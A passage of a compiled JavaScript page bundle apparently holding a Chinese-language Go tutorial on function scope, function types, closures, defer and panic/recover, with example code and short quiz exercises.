\u6ca1\u5fc5\u8981\u8fd4\u56de[]int{}\n\t}\n\t...\n}\n'})}),"\n",(0,c.jsx)(e.h2,{id:"\u51fd\u6570\u8fdb\u9636",children:"\u51fd\u6570\u8fdb\u9636"}),"\n",(0,c.jsx)(e.h3,{id:"\u53d8\u91cf\u4f5c\u7528\u57df",children:"\u53d8\u91cf\u4f5c\u7528\u57df"}),"\n",(0,c.jsx)(e.h4,{id:"\u5168\u5c40\u53d8\u91cf",children:"\u5168\u5c40\u53d8\u91cf"}),"\n",(0,c.jsx)(e.p,{children:"\u5168\u5c40\u53d8\u91cf\u662f\u5b9a\u4e49\u5728\u51fd\u6570\u5916\u90e8\u7684\u53d8\u91cf\uff0c\u5b83\u5728\u7a0b\u5e8f\u6574\u4e2a\u8fd0\u884c\u5468\u671f\u5185\u90fd\u6709\u6548\u3002 \u5728\u51fd\u6570\u4e2d\u53ef\u4ee5\u8bbf\u95ee\u5230\u5168\u5c40\u53d8\u91cf\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\n//\u5b9a\u4e49\u5168\u5c40\u53d8\u91cfnum\nvar num int64 = 10\n\nfunc testGlobalVar() {\n\tfmt.Printf("num=%d\\n", num) //\u51fd\u6570\u4e2d\u53ef\u4ee5\u8bbf\u95ee\u5168\u5c40\u53d8\u91cfnum\n}\nfunc main() {\n\ttestGlobalVar() //num=10\n}\n'})}),"\n",(0,c.jsx)(e.h4,{id:"\u5c40\u90e8\u53d8\u91cf",children:"\u5c40\u90e8\u53d8\u91cf"}),"\n",(0,c.jsx)(e.p,{children:"\u5c40\u90e8\u53d8\u91cf\u53c8\u5206\u4e3a\u4e24\u79cd\uff1a \u51fd\u6570\u5185\u5b9a\u4e49\u7684\u53d8\u91cf\u65e0\u6cd5\u5728\u8be5\u51fd\u6570\u5916\u4f7f\u7528\uff0c\u4f8b\u5982\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801main\u51fd\u6570\u4e2d\u65e0\u6cd5\u4f7f\u7528testLocalVar\u51fd\u6570\u4e2d\u5b9a\u4e49\u7684\u53d8\u91cfx\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func testLocalVar() {\n\t//\u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\u5c40\u90e8\u53d8\u91cfx,\u4ec5\u5728\u8be5\u51fd\u6570\u5185\u751f\u6548\n\tvar x int64 = 100\n\tfmt.Printf("x=%d\\n", x)\n}\n\nfunc main() {\n\ttestLocalVar()\n\tfmt.Println(x) // \u6b64\u65f6\u65e0\u6cd5\u4f7f\u7528\u53d8\u91cfx\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u5982\u679c\u5c40\u90e8\u53d8\u91cf\u548c\u5168\u5c40\u53d8\u91cf\u91cd\u540d\uff0c\u4f18\u5148\u8bbf\u95ee\u5c40\u90e8\u53d8\u91cf\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\n//\u5b9a\u4e49\u5168\u5c40\u53d8\u91cfnum\nvar num int64 = 10\n\nfunc testNum() {\n\tnum := 100\n\tfmt.Printf("num=%d\\n", num) // \u51fd\u6570\u4e2d\u4f18\u5148\u4f7f\u7528\u5c40\u90e8\u53d8\u91cf\n}\nfunc main() {\n\ttestNum() // num=100\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u4e00\u4e0b\u8bed\u53e5\u5757\u5b9a\u4e49\u7684\u53d8\u91cf\uff0c\u901a\u5e38\u6211\u4eec\u4f1a\u5728if\u6761\u4ef6\u5224\u65ad\u3001for\u5faa\u73af\u3001switch\u8bed\u53e5\u4e0a\u4f7f\u7528\u8fd9\u79cd\u5b9a\u4e49\u53d8\u91cf\u7684\u65b9\u5f0f\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func testLocalVar2(x, y int) {\n\tfmt.Println(x, y) //\u51fd\u6570\u7684\u53c2\u6570\u4e5f\u662f\u53ea\u5728\u672c\u51fd\u6570\u4e2d\u751f\u6548\n\tif x > 0 {\n\t\tz := 100 //\u53d8\u91cfz\u53ea\u5728if\u8bed\u53e5\u5757\u751f\u6548\n\t\tfmt.Println(z)\n\t}\n\t//fmt.Println(z)//\u6b64\u5904\u65e0\u6cd5\u4f7f\u7528\u53d8\u91cfz\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u8fd8\u6709\u6211\u4eec\u4e4b\u524d\u8bb2\u8fc7\u7684for\u5faa\u73af\u8bed\u53e5\u4e2d\u5b9a\u4e49\u7684\u53d8\u91cf\uff0c\u4e5f\u662f\u53ea\u5728for\u8bed\u53e5\u5757\u4e2d\u751f\u6548\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func testLocalVar3() {\n\tfor i := 0; i < 10; i++ {\n\t\tfmt.Println(i) //\u53d8\u91cfi\u53ea\u5728\u5f53\u524dfor\u8bed\u53e5\u5757\u4e2d\u751f\u6548\n\t}\n\t//fmt.Println(i) //\u6b64\u5904\u65e0\u6cd5\u4f7f\u7528\u53d8\u91cfi\n}\n"})}),"\n",(0,c.jsx)(e.h3,{id:"\u51fd\u6570\u7c7b\u578b\u4e0e\u53d8\u91cf",children:"\u51fd\u6570\u7c7b\u578b\u4e0e\u53d8\u91cf"}),"\n",(0,c.jsx)(e.h4,{id:"\u5b9a\u4e49\u51fd\u6570\u7c7b\u578b",children:"\u5b9a\u4e49\u51fd\u6570\u7c7b\u578b"}),"\n",(0,c.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,c.jsx)(e.code,{children:"type"}),"\u5173\u952e\u5b57\u6765\u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\u7c7b\u578b\uff0c\u5177\u4f53\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"type calculation func(int, int) int\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u4e0a\u9762\u8bed\u53e5\u5b9a\u4e49\u4e86\u4e00\u4e2a",(0,c.jsx)(e.code,{children:"calculation"}),"\u7c7b\u578b\uff0c\u5b83\u662f\u4e00\u79cd\u51fd\u6570\u7c7b\u578b\uff0c\u8fd9\u79cd\u51fd\u6570\u63a5\u6536\u4e24\u4e2aint\u7c7b\u578b\u7684\u53c2\u6570\u5e76\u4e14\u8fd4\u56de\u4e00\u4e2aint\u7c7b\u578b\u7684\u8fd4\u56de\u503c\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u7b80\u5355\u6765\u8bf4\uff0c\u51e1\u662f\u6ee1\u8db3\u8fd9\u4e2a\u6761\u4ef6\u7684\u51fd\u6570\u90fd\u662fcalculation\u7c7b\u578b\u7684\u51fd\u6570\uff0c\u4f8b\u5982\u4e0b\u9762\u7684add\u548csub\u662fcalculation\u7c7b\u578b\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func add(x, y int) int {\n\treturn x + y\n}\n\nfunc sub(x, y int) int {\n\treturn x - y\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"add\u548csub\u90fd\u80fd\u8d4b\u503c\u7ed9calculation\u7c7b\u578b\u7684\u53d8\u91cf\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"var c calculation\nc = add\n"})}),"\n",(0,c.jsx)(e.h4,{id:"\u51fd\u6570\u7c7b\u578b\u53d8\u91cf",children:"\u51fd\u6570\u7c7b\u578b\u53d8\u91cf"}),"\n",(0,c.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u58f0\u660e\u51fd\u6570\u7c7b\u578b\u7684\u53d8\u91cf\u5e76\u4e14\u4e3a\u8be5\u53d8\u91cf\u8d4b\u503c\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar c calculation // \u58f0\u660e\u4e00\u4e2acalculation\u7c7b\u578b\u7684\u53d8\u91cfc\n\tc = add // \u628aadd\u8d4b\u503c\u7ed9c\n\tfmt.Printf("type of c:%T\\n", c) // type of c:main.calculation\n\tfmt.Println(c(1, 2)) // \u50cf\u8c03\u7528add\u4e00\u6837\u8c03\u7528c\n\n\tf := add // \u5c06\u51fd\u6570add\u8d4b\u503c\u7ed9\u53d8\u91cff\n\tfmt.Printf("type of f:%T\\n", f) // type of f:func(int, int) int\n\tfmt.Println(f(10, 20)) // \u50cf\u8c03\u7528add\u4e00\u6837\u8c03\u7528f\n}\n'})}),"\n",(0,c.jsx)(e.h3,{id:"\u9ad8\u9636\u51fd\u6570",children:"\u9ad8\u9636\u51fd\u6570"}),"\n",(0,c.jsx)(e.p,{children:"\u9ad8\u9636\u51fd\u6570\u5206\u4e3a\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570\u548c\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c\u4e24\u90e8\u5206\u3002"}),"\n",(0,c.jsx)(e.h4,{id:"\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570",children:"\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570"}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u53ef\u4ee5\u4f5c\u4e3a\u53c2\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func add(x, y int) int {\n\treturn x + y\n}\nfunc calc(x, y int, op func(int, int) int) int {\n\treturn op(x, y)\n}\nfunc main() {\n\tret2 := calc(10, 20, add)\n\tfmt.Println(ret2) //30\n}\n"})}),"\n",(0,c.jsx)(e.h4,{id:"\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c",children:"\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c"}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u8fd4\u56de\u503c\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func do(s string) (func(int, int) int, error) {\n\tswitch s {\n\tcase "+":\n\t\treturn add, nil\n\tcase "-":\n\t\treturn sub, nil\n\tdefault:\n\t\terr := errors.New("\u65e0\u6cd5\u8bc6\u522b\u7684\u64cd\u4f5c\u7b26")\n\t\treturn nil, err\n\t}\n}\n'})}),"\n",(0,c.jsx)(e.h3,{id:"\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305",children:"\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305"}),"\n",(0,c.jsx)(e.h4,{id:"\u533f\u540d\u51fd\u6570",children:"\u533f\u540d\u51fd\u6570"}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u5f53\u7136\u8fd8\u53ef\u4ee5\u4f5c\u4e3a\u8fd4\u56de\u503c\uff0c\u4f46\u662f\u5728Go\u8bed\u8a00\u4e2d\u51fd\u6570\u5185\u90e8\u4e0d\u80fd\u518d\u50cf\u4e4b\u524d\u90a3\u6837\u5b9a\u4e49\u51fd\u6570\u4e86\uff0c\u53ea\u80fd\u5b9a\u4e49\u533f\u540d\u51fd\u6570\u3002\u533f\u540d\u51fd\u6570\u5c31\u662f\u6ca1\u6709\u51fd\u6570\u540d\u7684\u51fd\u6570\uff0c\u533f\u540d\u51fd\u6570\u7684\u5b9a\u4e49\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func(\u53c2\u6570)(\u8fd4\u56de\u503c){\n \u51fd\u6570\u4f53\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u533f\u540d\u51fd\u6570\u56e0\u4e3a\u6ca1\u6709\u51fd\u6570\u540d\uff0c\u6240\u4ee5\u6ca1\u529e\u6cd5\u50cf\u666e\u901a\u51fd\u6570\u90a3\u6837\u8c03\u7528\uff0c\u6240\u4ee5\u533f\u540d\u51fd\u6570\u9700\u8981\u4fdd\u5b58\u5230\u67d0\u4e2a\u53d8\u91cf\u6216\u8005\u4f5c\u4e3a\u7acb\u5373\u6267\u884c\u51fd\u6570:"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func main() {\n\t// \u5c06\u533f\u540d\u51fd\u6570\u4fdd\u5b58\u5230\u53d8\u91cf\n\tadd := func(x, y int) {\n\t\tfmt.Println(x + y)\n\t}\n\tadd(10, 20) // \u901a\u8fc7\u53d8\u91cf\u8c03\u7528\u533f\u540d\u51fd\u6570\n\n\t//\u81ea\u6267\u884c\u51fd\u6570\uff1a\u533f\u540d\u51fd\u6570\u5b9a\u4e49\u5b8c\u52a0()\u76f4\u63a5\u6267\u884c\n\tfunc(x, y int) {\n\t\tfmt.Println(x + y)\n\t}(10, 20)\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u533f\u540d\u51fd\u6570\u591a\u7528\u4e8e\u5b9e\u73b0\u56de\u8c03\u51fd\u6570\u548c\u95ed\u5305\u3002"}),"\n",(0,c.jsx)(e.h4,{id:"\u95ed\u5305",children:"\u95ed\u5305"}),"\n",(0,c.jsxs)(e.p,{children:["\u95ed\u5305\u6307\u7684\u662f\u4e00\u4e2a\u51fd\u6570\u548c\u4e0e\u5176\u76f8\u5173\u7684\u5f15\u7528\u73af\u5883\u7ec4\u5408\u800c\u6210\u7684\u5b9e\u4f53\u3002\u7b80\u5355\u6765\u8bf4\uff0c",(0,c.jsx)(e.code,{children:"\u95ed\u5305=\u51fd\u6570+\u5f15\u7528\u73af\u5883"}),"\u3002 \u9996\u5148\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func adder() func(int) int {\n\tvar x int\n\treturn func(y int) int {\n\t\tx += y\n\t\treturn x\n\t}\n}\nfunc main() {\n\tvar f = adder()\n\tfmt.Println(f(10)) //10\n\tfmt.Println(f(20)) //30\n\tfmt.Println(f(30)) //60\n\n\tf1 := adder()\n\tfmt.Println(f1(40)) //40\n\tfmt.Println(f1(50)) //90\n}\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u53d8\u91cf",(0,c.jsx)(e.code,{children:"f"}),"\u662f\u4e00\u4e2a\u51fd\u6570\u5e76\u4e14\u5b83\u5f15\u7528\u4e86\u5176\u5916\u90e8\u4f5c\u7528\u57df\u4e2d\u7684",(0,c.jsx)(e.code,{children:"x"}),"\u53d8\u91cf\uff0c\u6b64\u65f6",(0,c.jsx)(e.code,{children:"f"}),"\u5c31\u662f\u4e00\u4e2a\u95ed\u5305\u3002 \u5728",(0,c.jsx)(e.code,{children:"f"}),"\u7684\u751f\u547d\u5468\u671f\u5185\uff0c\u53d8\u91cf",(0,c.jsx)(e.code,{children:"x"}),"\u4e5f\u4e00\u76f4\u6709\u6548\u3002 \u95ed\u5305\u8fdb\u9636\u793a\u4f8b1\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func adder2(x int) func(int) int {\n\treturn func(y int) int {\n\t\tx += y\n\t\treturn x\n\t}\n}\nfunc main() {\n\tvar f = adder2(10)\n\tfmt.Println(f(10)) //20\n\tfmt.Println(f(20)) //40\n\tfmt.Println(f(30)) //70\n\n\tf1 := adder2(20)\n\tfmt.Println(f1(40)) //60\n\tfmt.Println(f1(50)) //110\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u95ed\u5305\u8fdb\u9636\u793a\u4f8b2\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func makeSuffixFunc(suffix string) func(string) string {\n\treturn func(name string) string {\n\t\tif !strings.HasSuffix(name, suffix) {\n\t\t\treturn name + suffix\n\t\t}\n\t\treturn name\n\t}\n}\n\nfunc main() {\n\tjpgFunc := makeSuffixFunc(".jpg")\n\ttxtFunc := makeSuffixFunc(".txt")\n\tfmt.Println(jpgFunc("test")) //test.jpg\n\tfmt.Println(txtFunc("test")) //test.txt\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u95ed\u5305\u8fdb\u9636\u793a\u4f8b3\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func calc(base int) (func(int) int, func(int) int) {\n\tadd := func(i int) int {\n\t\tbase += i\n\t\treturn base\n\t}\n\n\tsub := func(i int) int {\n\t\tbase -= i\n\t\treturn base\n\t}\n\treturn add, sub\n}\n\nfunc main() {\n\tf1, f2 := calc(10)\n\tfmt.Println(f1(1), f2(2)) //11 9\n\tfmt.Println(f1(3), f2(4)) //12 8\n\tfmt.Println(f1(5), f2(6)) //13 7\n}\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u95ed\u5305\u5176\u5b9e\u5e76\u4e0d\u590d\u6742\uff0c\u53ea\u8981\u7262\u8bb0",(0,c.jsx)(e.code,{children:"\u95ed\u5305=\u51fd\u6570+\u5f15\u7528\u73af\u5883"}),"\u3002"]}),"\n",(0,c.jsx)(e.h3,{id:"defer\u8bed\u53e5",children:"defer\u8bed\u53e5"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684",(0,c.jsx)(e.code,{children:"defer"}),"\u8bed\u53e5\u4f1a\u5c06\u5176\u540e\u9762\u8ddf\u968f\u7684\u8bed\u53e5\u8fdb\u884c\u5ef6\u8fdf\u5904\u7406\u3002\u5728",(0,c.jsx)(e.code,{children:"defer"}),"\u5f52\u5c5e\u7684\u51fd\u6570\u5373\u5c06\u8fd4\u56de\u65f6\uff0c\u5c06\u5ef6\u8fdf\u5904\u7406\u7684\u8bed\u53e5\u6309",(0,c.jsx)(e.code,{children:"defer"}),"\u5b9a\u4e49\u7684\u9006\u5e8f\u8fdb\u884c\u6267\u884c\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5148\u88ab",(0,c.jsx)(e.code,{children:"defer"}),"\u7684\u8bed\u53e5\u6700\u540e\u88ab\u6267\u884c\uff0c\u6700\u540e\u88ab",(0,c.jsx)(e.code,{children:"defer"}),"\u7684\u8bed\u53e5\uff0c\u6700\u5148\u88ab\u6267\u884c\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func main() {\n\tfmt.Println("start")\n\tdefer fmt.Println(1)\n\tdefer fmt.Println(2)\n\tdefer fmt.Println(3)\n\tfmt.Println("end")\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"start\nend\n3\n2\n1\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u7531\u4e8e",(0,c.jsx)(e.code,{children:"defer"}),"\u8bed\u53e5\u5ef6\u8fdf\u8c03\u7528\u7684\u7279\u6027\uff0c\u6240\u4ee5",(0,c.jsx)(e.code,{children:"defer"}),"\u8bed\u53e5\u80fd\u975e\u5e38\u65b9\u4fbf\u7684\u5904\u7406\u8d44\u6e90\u91ca\u653e\u95ee\u9898\u3002\u6bd4\u5982\uff1a\u8d44\u6e90\u6e05\u7406\u3001\u6587\u4ef6\u5173\u95ed\u3001\u89e3\u9501\u53ca\u8bb0\u5f55\u65f6\u95f4\u7b49\u3002"]}),"\n",(0,c.jsx)(e.h4,{id:"defer\u6267\u884c\u65f6\u673a",children:"defer\u6267\u884c\u65f6\u673a"}),"\n",(0,c.jsxs)(e.p,{children:["\u5728Go\u8bed\u8a00\u7684\u51fd\u6570\u4e2d",(0,c.jsx)(e.code,{children:"return"}),"\u8bed\u53e5\u5728\u5e95\u5c42\u5e76\u4e0d\u662f\u539f\u5b50\u64cd\u4f5c\uff0c\u5b83\u5206\u4e3a\u7ed9\u8fd4\u56de\u503c\u8d4b\u503c\u548cRET\u6307\u4ee4\u4e24\u6b65\u3002\u800c",(0,c.jsx)(e.code,{children:"defer"}),"\u8bed\u53e5\u6267\u884c\u7684\u65f6\u673a\u5c31\u5728\u8fd4\u56de\u503c\u8d4b\u503c\u64cd\u4f5c\u540e\uff0cRET\u6307\u4ee4\u6267\u884c\u524d\u3002\u5177\u4f53\u5982\u4e0b\u56fe\u6240\u793a\uff1a",(0,c.jsx)(e.img,{alt:"defer\u6267\u884c\u65f6\u673a",src:t(77035).A+"",width:"799",height:"299"})]}),"\n",(0,c.jsx)(e.h4,{id:"defer\u7ecf\u5178\u6848\u4f8b",children:"defer\u7ecf\u5178\u6848\u4f8b"}),"\n",(0,c.jsx)(e.p,{children:"\u9605\u8bfb\u4e0b\u9762\u7684\u4ee3\u7801\uff0c\u5199\u51fa\u6700\u540e\u7684\u6253\u5370\u7ed3\u679c\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func f1() int {\n\tx := 5\n\tdefer func() {\n\t\tx++\n\t}()\n\treturn x\n}\n\nfunc f2() (x int) {\n\tdefer func() {\n\t\tx++\n\t}()\n\treturn 5\n}\n\nfunc f3() (y int) {\n\tx := 5\n\tdefer func() {\n\t\tx++\n\t}()\n\treturn x\n}\nfunc f4() (x int) {\n\tdefer func(x int) {\n\t\tx++\n\t}(x)\n\treturn 5\n}\nfunc main() {\n\tfmt.Println(f1())\n\tfmt.Println(f2())\n\tfmt.Println(f3())\n\tfmt.Println(f4())\n}\n"})}),"\n",(0,c.jsx)(e.h4,{id:"defer\u9762\u8bd5\u9898",children:"defer\u9762\u8bd5\u9898"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func calc(index string, a, b int) int {\n\tret := a + b\n\tfmt.Println(index, a, b, ret)\n\treturn ret\n}\n\nfunc main() {\n\tx := 1\n\ty := 2\n\tdefer calc("AA", x, calc("A", x, y))\n\tx = 10\n\tdefer calc("BB", x, calc("B", x, y))\n\ty = 20\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u95ee\uff0c\u4e0a\u9762\u4ee3\u7801\u7684\u8f93\u51fa\u7ed3\u679c\u662f\uff1f\uff08\u63d0\u793a\uff1adefer\u6ce8\u518c\u8981\u5ef6\u8fdf\u6267\u884c\u7684\u51fd\u6570\u65f6\u8be5\u51fd\u6570\u6240\u6709\u7684\u53c2\u6570\u90fd\u9700\u8981\u786e\u5b9a\u5176\u503c\uff09"}),"\n",(0,c.jsx)(e.h2,{id:"\u5185\u7f6e\u51fd\u6570\u4ecb\u7ecd",children:"\u5185\u7f6e\u51fd\u6570\u4ecb\u7ecd"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,c.jsxs)(e.table,{children:[(0,c.jsx)(e.thead,{children:(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.th,{style:{textAlign:"center"},children:"\u5185\u7f6e\u51fd\u6570"}),(0,c.jsx)(e.th,{style:{textAlign:"center"},children:"\u4ecb\u7ecd"})]})}),(0,c.jsxs)(e.tbody,{children:[(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"close"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u4e3b\u8981\u7528\u6765\u5173\u95edchannel"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"len"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u6c42\u957f\u5ea6\uff0c\u6bd4\u5982string\u3001array\u3001slice\u3001map\u3001channel"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"new"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u5206\u914d\u5185\u5b58\uff0c\u4e3b\u8981\u7528\u6765\u5206\u914d\u503c\u7c7b\u578b\uff0c\u6bd4\u5982int\u3001struct\u3002\u8fd4\u56de\u7684\u662f\u6307\u9488"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"make"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u5206\u914d\u5185\u5b58\uff0c\u4e3b\u8981\u7528\u6765\u5206\u914d\u5f15\u7528\u7c7b\u578b\uff0c\u6bd4\u5982chan\u3001map\u3001slice"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"append"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u8ffd\u52a0\u5143\u7d20\u5230\u6570\u7ec4\u3001slice\u4e2d"})]}),(0,c.jsxs)(e.tr,{children:[(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"panic\u548crecover"}),(0,c.jsx)(e.td,{style:{textAlign:"center"},children:"\u7528\u6765\u505a\u9519\u8bef\u5904\u7406"})]})]})]}),"\n",(0,c.jsx)(e.h3,{id:"panicrecover",children:"panic/recover"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u76ee\u524d\uff08Go1.12\uff09\u662f\u6ca1\u6709\u5f02\u5e38\u673a\u5236\uff0c\u4f46\u662f\u4f7f\u7528",(0,c.jsx)(e.code,{children:"panic/recover"}),"\u6a21\u5f0f\u6765\u5904\u7406\u9519\u8bef\u3002 ",(0,c.jsx)(e.code,{children:"panic"}),"\u53ef\u4ee5\u5728\u4efb\u4f55\u5730\u65b9\u5f15\u53d1\uff0c\u4f46",(0,c.jsx)(e.code,{children:"recover"}),"\u53ea\u6709\u5728",(0,c.jsx)(e.code,{children:"defer"}),"\u8c03\u7528\u7684\u51fd\u6570\u4e2d\u6709\u6548\u3002 \u9996\u5148\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func funcA() {\n\tfmt.Println("func A")\n}\n\nfunc funcB() {\n\tpanic("panic in B")\n}\n\nfunc funcC() {\n\tfmt.Println("func C")\n}\nfunc main() {\n\tfuncA()\n\tfuncB()\n\tfuncC()\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-bash",children:"func A\npanic: panic in B\n\ngoroutine 1 [running]:\nmain.funcB(...)\n .../code/func/main.go:12\nmain.main()\n .../code/func/main.go:20 +0x98\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4",(0,c.jsx)(e.code,{children:"funcB"}),"\u4e2d\u5f15\u53d1\u4e86",(0,c.jsx)(e.code,{children:"panic"}),"\u5bfc\u81f4\u7a0b\u5e8f\u5d29\u6e83\uff0c\u5f02\u5e38\u9000\u51fa\u4e86\u3002\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7",(0,c.jsx)(e.code,{children:"recover"}),"\u5c06\u7a0b\u5e8f\u6062\u590d\u56de\u6765\uff0c\u7ee7\u7eed\u5f80\u540e\u6267\u884c\u3002"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func funcA() {\n\tfmt.Println("func A")\n}\n\nfunc funcB() {\n\tdefer func() {\n\t\terr := recover()\n\t\t//\u5982\u679c\u7a0b\u5e8f\u51fa\u51fa\u73b0\u4e86panic\u9519\u8bef,\u53ef\u4ee5\u901a\u8fc7recover\u6062\u590d\u8fc7\u6765\n\t\tif err != nil {\n\t\t\tfmt.Println("recover in B")\n\t\t}\n\t}()\n\tpanic("panic in B")\n}\n\nfunc funcC() {\n\tfmt.Println("func C")\n}\nfunc main() {\n\tfuncA()\n\tfuncB()\n\tfuncC()\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:(0,c.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,c.jsxs)(e.ol,{children:["\n",(0,c.jsxs)(e.li,{children:[(0,c.jsx)(e.code,{children:"recover()"}),"\u5fc5\u987b\u642d\u914d",(0,c.jsx)(e.code,{children:"defer"}),"\u4f7f\u7528\u3002"]}),"\n",(0,c.jsxs)(e.li,{children:[(0,c.jsx)(e.code,{children:"defer"}),"\u4e00\u5b9a\u8981\u5728\u53ef\u80fd\u5f15\u53d1",(0,c.jsx)(e.code,{children:"panic"}),"\u7684\u8bed\u53e5\u4e4b\u524d\u5b9a\u4e49\u3002"]}),"\n"]})]})}function x(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,c.jsx)(e,{...n,children:(0,c.jsx)(f,{...n})}):f(n)}},77035:(n,e,t)=>{t.d(e,{A:()=>r});const 